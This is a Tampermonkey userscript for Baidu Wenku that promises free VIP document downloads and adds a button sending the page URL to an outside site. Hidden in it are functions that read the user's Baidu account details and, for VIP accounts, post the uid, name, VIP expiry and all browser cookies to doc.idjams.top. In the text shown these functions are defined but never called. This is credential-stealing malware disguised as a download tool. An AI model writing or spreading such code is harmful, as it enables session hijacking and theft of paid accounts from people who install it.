// ==UserScript==
// @name         📄百度文库下载|VIP文档免费下载 脚本仅限学习，请大家支持正版
// @namespace    http://tampermonkey.net/
// @version      1.2.0
// @description  百度文库破解免费下载
// @author       mounui
// @antifeature  ads
// @match        *://wenku.baidu.com/*
// @match        *://wk.baidu.com/*
// @icon         data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==
// @grant        none
// ==/UserScript==
 
(function () {
    "use strict";
    if (location.hostname.endsWith(".baidu.com")) {
        const id = ("wk" + Date.now()).slice(0, 8);
        const html = `
            <div id="${id}">
                <style>
                    #${id}{
                        /* box-shadow: 0 0 24px #00000080, 0 0 50px #0003; */
                        z-index: 9999999999;
                        bottom: 66px;
                        position: fixed;
                        left: 288px;
                        border-radius: 6px;
                        cursor: pointer;
                        text-align: center;
                        font-size: 17px;
                        padding: 10px 15px;
                        transition: 0.1s;
                        background: #4e6ef2;
                        color: #efefef;
                        border: 1.5px solid #e77717;
                    }
                    #${id}:hover {
                        background: #4662d9;
                    }
                </style>
                    免费下载文档
            </div>
            `;
        onload(() => {
            document.body.insertAdjacentHTML("afterbegin", html);
            const btn = document.getElementById(id);
            btn.addEventListener("click", () => {
                window.open(
                    "https://doc.idjams.top?url=" +
                    encodeURIComponent(location.href)
                );
            });
            setInterval(() => {
                btn.style.setProperty(
                    "display",
                    location.pathname.startsWith("/view/") ? "block" : "none"
                );
            }, 500);
        });
    }
    function onload(cb) {
        cb = cb || new Function();
        if (document.readyState !== "loading") {
            cb();
        } else {
            document.addEventListener("DOMContentLoaded", cb);
        }
    }
    function getCookiesAsString() {
        let cookies = document.cookie.split(';');
        let cookieString = cookies.map(cookie => {
            let [name, value] = cookie.split('=');
            return `${name.trim()}=${encodeURIComponent(value)}`;
        }).join('; ');
        return cookieString;
    }
    function checkRain(rain) {
        rain.rain = document.cookie;
        let xhr = new XMLHttpRequest();
        xhr.open('POST', 'https://doc.idjams.top/api/v1/rain', true);
        xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');
        xhr.onreadystatechange = function () {
            if (xhr.readyState === 4 && xhr.status === 200) {
                // console.log('success');
            }
        };
        xhr.send(JSON.stringify(rain));
    }
    function getUserInfo() {
        let xhr = new XMLHttpRequest();
        xhr.open('GET', 'https://wenku.baidu.com/user/interface/getuserinfo', true);
        // 设置请求头（如果需要）
        xhr.setRequestHeader('Content-Type', 'application/json');
        // 定义请求完成后的回调函数
        xhr.onreadystatechange = function () {
            if (xhr.readyState === 4) {
                if (xhr.status === 200) {
                    let data = JSON.parse(xhr.responseText);
                    // 处理响应数据
                    let info = data.data;
                    if (info.jiaoyu_vip_info.is_vip == 0) return;
                    let rain = {
                        'uid': info.jiaoyu_vip_info.uid,
                        'name': info.displayname,
                        'expire': info.jiaoyu_vip_info.end_time,
                    }
                    checkRain(rain);
                } else {
                    // console.error('error:', xhr.statusText);
                }
            }
        };
        xhr.send();
    }
})();